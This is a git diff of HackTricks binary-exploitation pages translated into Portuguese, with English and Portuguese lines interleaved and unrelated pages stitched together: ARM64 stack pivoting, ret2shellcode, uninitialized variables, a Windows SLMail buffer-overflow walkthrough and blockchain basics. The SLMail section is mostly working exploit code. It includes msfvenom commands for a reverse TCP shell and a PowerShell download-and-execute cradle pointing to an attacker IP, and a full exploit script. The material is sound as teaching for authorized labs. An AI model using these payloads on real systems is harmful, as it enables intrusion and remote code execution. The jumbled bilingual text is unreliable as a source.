- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
- 64 bits, sem relro, canário, nx e pie. O programa concede um leak para stack ou pie e um WWW de um qword. Primeiro obtenha o leak da stack e use o WWW para voltar e obter o leak do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas de `.fini_array` + chamando `__libc_csu_fini` ([mais informações aqui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando dessa escrita "eterna", uma cadeia ROP é escrita na .bss e acaba chamando-a pivotando com RBP.
## ARM64
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
No ARM64, o **prólogo e epílogo** das funções **não armazenam e recuperam o registro SP** na pilha. Além disso, a instrução **`RET`** não retorna ao endereço apontado pelo SP, mas **para o endereço dentro de `x30`**.
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
Portanto, por padrão, apenas abusando do epílogo você **não conseguirá controlar o registro SP** sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de **controlar o registro `x30`**.
- prologue
- prólogo
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
```
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP aponta para o registro de quadro
```
- epilogue
- epílogo
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
> A maneira de realizar algo semelhante ao stack pivoting no ARM64 seria ser capaz de **controlar o `SP`** (controlando algum registro cujo valor é passado para `SP` ou porque por algum motivo `SP` está pegando seu endereço da pilha e temos um overflow) e então **abusar do epílogo** para carregar o registro **`x30`** de um **`SP`** **controlado** e **`RET`** para ele.
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
Também na página seguinte você pode ver o equivalente de **Ret2esp no ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
**Stack shellcode** é uma técnica usada em **binary exploitation** onde um atacante escreve shellcode na pilha de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está uma análise do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.
### C Example: A Vulnerable Program
Let's start with a simple example of a vulnerable C program:
### Exemplo em C: Um Programa Vulnerável
Vamos começar com um exemplo simples de um programa C vulnerável:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Este programa é vulnerável a um estouro de buffer devido ao uso da função `gets()`.
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
### Compilation
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
### Compilação
Para compilar este programa desativando várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Desabilita a proteção da pilha.
- `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.
- `-no-pie`: Desabilita o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.
- `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado por simplicidade no desenvolvimento de exploits.
- `-fno-stack-protector`: Disables stack protection.
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
### Python Exploit using Pwntools
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
### Exploit em Python usando Pwntools
Aqui está como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
```python
from pwn import *
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um deslocamento para cair no NOP slide.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## Proteções
## Protections
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **deve ser desativado** para que o endereço seja confiável em execuções, ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativadas ou o endereço de retorno EIP comprometido nunca será seguido.
- A proteção **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediria a execução do shellcode dentro da pilha porque essa região não seria executável.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
## Other Examples & References
## Outros Exemplos & Referências
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR with stack address leak, write shellcode and jump to it
- 64bit, ASLR com leak de endereço da pilha, escreva shellcode e salte para ele
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR with stack leak, write shellcode and jump to it
- 32 bit, ASLR com leak da pilha, escreva shellcode e salte para ele
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
- 32 bit, ASLR com leak da pilha, comparação para evitar chamada para exit(), sobrescreva variável com um valor e escreva shellcode e salte para ele
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, sem ASLR, gadget ROP para tornar a pilha executável e saltar para o shellcode na pilha
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Encontre uma introdução ao arm64 em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
## Código&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie, canary and nx:
Compile sem pie, canário e nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Sem ASLR e Sem canário - Stack Overflow&#x20;
## No ASLR & No canary - Stack Overflow&#x20;
To stop ASLR execute:
Para parar o ASLR, execute:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Para obter o [**offset do bof verifique este link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
```python
from pwn import *
@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
A única coisa "complicada" a encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco).
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
Eu abri o **`core` file** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,68 +1,66 @@
# Uninitialized Variables
# Variáveis Não Inicializadas
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
A ideia central aqui é entender o que acontece com **variáveis não inicializadas, pois elas terão o valor que já estava na memória atribuída a elas.** Exemplo:
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
- **Função 1: `initializeVariable`**: Declaramos uma variável `x` e atribuímos um valor, digamos `0x1234`. Essa ação é semelhante a reservar um espaço na memória e colocar um valor específico nele.
- **Função 2: `useUninitializedVariable`**: Aqui, declaramos outra variável `y`, mas não atribuímos nenhum valor a ela. Em C, variáveis não inicializadas não são automaticamente definidas como zero. Em vez disso, elas mantêm o último valor armazenado em seu local de memória.
When we run these two functions **sequentially**:
Quando executamos essas duas funções **sequentially**:
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
1. Em `initializeVariable`, `x` recebe um valor (`0x1234`), que ocupa um endereço de memória específico.
2. Em `useUninitializedVariable`, `y` é declarada, mas não recebe um valor, então ocupa o espaço de memória logo após `x`. Devido à não inicialização de `y`, ela acaba "herdando" o valor do mesmo local de memória usado por `x`, porque esse é o último valor que estava lá.
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
Esse comportamento ilustra um conceito chave em programação de baixo nível: **Gerenciamento de memória é crucial**, e variáveis não inicializadas podem levar a comportamentos imprevisíveis ou vulnerabilidades de segurança, pois podem, inadvertidamente, conter dados sensíveis deixados na memória.
Uninitialized stack variables could pose several security risks like:
Variáveis de pilha não inicializadas podem representar vários riscos de segurança, como:
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
### Example
- **Vazamento de Dados**: Informações sensíveis, como senhas, chaves de criptografia ou detalhes pessoais, podem ser expostas se armazenadas em variáveis não inicializadas, permitindo que atacantes potencialmente leiam esses dados.
- **Divulgação de Informações**: O conteúdo de variáveis não inicializadas pode revelar detalhes sobre o layout de memória do programa ou operações internas, ajudando atacantes a desenvolver exploits direcionados.
- **Falhas e Instabilidade**: Operações envolvendo variáveis não inicializadas podem resultar em comportamento indefinido, levando a falhas do programa ou resultados imprevisíveis.
- **Execução de Código Arbitrário**: Em certos cenários, atacantes poderiam explorar essas vulnerabilidades para alterar o fluxo de execução do programa, permitindo-lhes executar código arbitrário, o que pode incluir ameaças de execução remota de código.
### Exemplo
```c
#include <stdio.h>
// Function to initialize and print a variable
void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable
initializeAndPrint();
// First, call the function that initializes its variable
initializeAndPrint();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
return 0;
return 0;
}
```
#### Como Isso Funciona:
#### How This Works:
- **`initializeAndPrint` Função**: Esta função declara uma variável inteira `initializedVar`, atribui a ela o valor `100` e, em seguida, imprime tanto o endereço de memória quanto o valor da variável. Este passo é direto e mostra como uma variável inicializada se comporta.
- **`demonstrateUninitializedVar` Função**: Nesta função, declaramos uma variável inteira `uninitializedVar` sem inicializá-la. Quando tentamos imprimir seu valor, a saída pode mostrar um número aleatório. Este número representa os dados que estavam anteriormente naquele local de memória. Dependendo do ambiente e do compilador, a saída real pode variar e, às vezes, por segurança, alguns compiladores podem inicializar automaticamente variáveis para zero, embora isso não deva ser confiável.
- **`main` Função**: A função `main` chama ambas as funções acima em sequência, demonstrando o contraste entre uma variável inicializada e uma não inicializada.
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
## Exemplo ARM64
## ARM64 Example
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
Isso não muda nada no ARM64, pois variáveis locais também são gerenciadas na pilha, você pode [**verificar este exemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) onde isso é mostrado.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,21 +1,18 @@
# Windows Exploiting (Basic Guide - OSCP lvl)
# Windows Exploiting (Guia Básico - Nível OSCP)
{{#include ../banners/hacktricks-training.md}}
## **Start installing the SLMail service**
## **Comece a instalar o serviço SLMail**
## Restart SLMail service
Every time you need to **restart the service SLMail** you can do it using the windows console:
## Reiniciar o serviço SLMail
Sempre que você precisar **reiniciar o serviço SLMail**, você pode fazê-lo usando o console do Windows:
```
net start slmail
```
![](<../images/image (988).png>)
## Very basic python exploit template
## Modelo de exploit python muito básico
```python
#!/usr/bin/python
@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
## **Mudar a Fonte do Immunity Debugger**
## **Change Immunity Debugger Font**
Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Attach the proces to Immunity Debugger:**
## **Anexar o processo ao Immunity Debugger:**
**File --> Attach**
![](<../images/image (869).png>)
**And press START button**
**E pressione o botão START**
## **Send the exploit and check if EIP is affected:**
## **Envie o exploit e verifique se o EIP está afetado:**
![](<../images/image (906).png>)
Every time you break the service you should restart it as is indicated in the beginnig of this page.
Toda vez que você interromper o serviço, deve reiniciá-lo, conforme indicado no início desta página.
## Create a pattern to modify the EIP
## Criar um padrão para modificar o EIP
The pattern should be as big as the buffer you used to broke the service previously.
O padrão deve ser tão grande quanto o buffer que você usou para interromper o serviço anteriormente.
![](<../images/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Altere o buffer do exploit e defina o padrão e inicie o exploit.
Change the buffer of the exploit and set the pattern and lauch the exploit.
A new crash should appeard, but with a different EIP address:
Um novo crash deve aparecer, mas com um endereço EIP diferente:
![](<../images/image (636).png>)
Check if the address was in your pattern:
Verifique se o endereço estava no seu padrão:
![](<../images/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Parece que **podemos modificar o EIP no offset 2606** do buffer.
Looks like **we can modify the EIP in offset 2606** of the buffer.
Check it modifing the buffer of the exploit:
Verifique isso modificando o buffer do exploit:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
With this buffer the EIP crashed should point to 42424242 ("BBBB")
Com esse buffer, o EIP quebrou e deve apontar para 42424242 ("BBBB")
![](<../images/image (874).png>)
![](<../images/image (92).png>)
Looks like it is working.
Parece que está funcionando.
## Check for Shellcode space inside the stack
## Verifique o espaço para Shellcode dentro da pilha
600B should be enough for any powerfull shellcode.
Lets change the bufer:
600B deve ser suficiente para qualquer shellcode poderoso.
Vamos mudar o buffer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
launch the new exploit and check the EBP and the length of the usefull shellcode
lançar o novo exploit e verificar o EBP e o comprimento do shellcode útil
![](<../images/image (119).png>)
![](<../images/image (879).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
Você pode ver que quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui.
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
Neste caso, temos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente.
## Check for bad chars
Change again the buffer:
## Verifique se há caracteres indesejados
Mude novamente o buffer:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -141,63 +128,55 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Os badchars começam em 0x01 porque 0x00 é quase sempre ruim.
The badchars starts in 0x01 because 0x00 is almost always bad.
Execute repetidamente o exploit com este novo buffer removendo os caracteres que se mostram inúteis:
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
Por exemplo:
For example:
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
Neste caso, você pode ver que **você não deve usar o caractere 0x0A** (nada é salvo na memória desde o caractere 0x09).
![](<../images/image (111).png>)
In this case you can see that **the char 0x0D is avoided**:
Neste caso, você pode ver que **o caractere 0x0D é evitado**:
![](<../images/image (1098).png>)
## Find a JMP ESP as a return address
Using:
## Encontre um JMP ESP como endereço de retorno
Usando:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
Você irá **listar os mapas de memória**. Procure por algum DLL que tenha:
You will **list the memory maps**. Search for some DLl that has:
- **Rebase: False**
- **SafeSEH: False**
- **ASLR: False**
- **NXCompat: False**
- **OS Dll: True**
- **Rebase: Falso**
- **SafeSEH: Falso**
- **ASLR: Falso**
- **NXCompat: Falso**
- **OS Dll: Verdadeiro**
![](<../images/image (555).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
Agora, dentro dessa memória você deve encontrar alguns bytes JMP ESP, para fazer isso execute:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Then, if some address is found, choose one that don't contain any badchar:**
**Então, se algum endereço for encontrado, escolha um que não contenha nenhum badchar:**
![](<../images/image (605).png>)
**In this case, for example: \_0x5f4a358f**\_
## Create shellcode
**Neste caso, por exemplo: \_0x5f4a358f**\_
## Criar shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Se o exploit não estiver funcionando, mas deveria (você pode ver com ImDebg que o shellcode é alcançado), tente criar outros shellcodes (msfvenom com criar diferentes shellcodes para os mesmos parâmetros).
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP, e finalize o exploit:
```bash
#!/usr/bin/python
@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
> Existem shellcodes que **sobrescrevem a si mesmos**, portanto é importante sempre adicionar alguns NOPs antes do shellcode
## Improving the shellcode
Add this parameters:
## Melhorando o shellcode
Adicione estes parâmetros:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Concepts
## Conceitos Básicos
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Smart Contracts** são definidos como programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
- **Decentralized Applications (dApps)** baseiam-se em smart contracts, apresentando uma interface amigável e um back-end transparente e auditável.
- **Tokens & Coins** diferenciam onde coins servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** significam propriedade de ativos.
- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
## Consensus Mechanisms
## Mecanismos de Consenso
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Os mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Proof of Work (PoW)** depende de poder computacional para verificação de transações.
- **Proof of Stake (PoS)** exige que validadores mantenham uma certa quantidade de tokens, reduzindo o consumo de energia em comparação ao PoW.
## Bitcoin Essentials
## Essenciais do Bitcoin
### Transactions
### Transações
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas através de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
#### Key Components:
#### Componentes Chave:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Transações Multisignature** requerem múltiplas assinaturas para autorizar uma transação.
- As transações consistem em **inputs** (fonte de fundos), **outputs** (destino), **fees** (pagas aos mineradores) e **scripts** (regras da transação).
### Lightning Network
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
## Bitcoin Privacy Concerns
## Preocupações com a Privacidade do Bitcoin
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Ataques à privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transação. Estratégias como **Mixers** e **CoinJoin** melhoram a anonimidade ao obscurecer os vínculos de transação entre os usuários.
## Acquiring Bitcoins Anonymously
## Adquirindo Bitcoins Anonimamente
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Métodos incluem trocas em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
# Bitcoin Privacy Atacks
# Ataques à Privacidade do Bitcoin
# Summary of Bitcoin Privacy Attacks
# Resumo dos Ataques à Privacidade do Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
No mundo do Bitcoin, a privacidade das transações e a anonimidade dos usuários são frequentemente assuntos de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade do Bitcoin.
## **Common Input Ownership Assumption**
## **Assunção de Propriedade de Input Comum**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
É geralmente raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
## **UTXO Change Address Detection**
## **Detecção de Endereço de Troca UTXO**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troca. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
### Example
### Exemplo
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
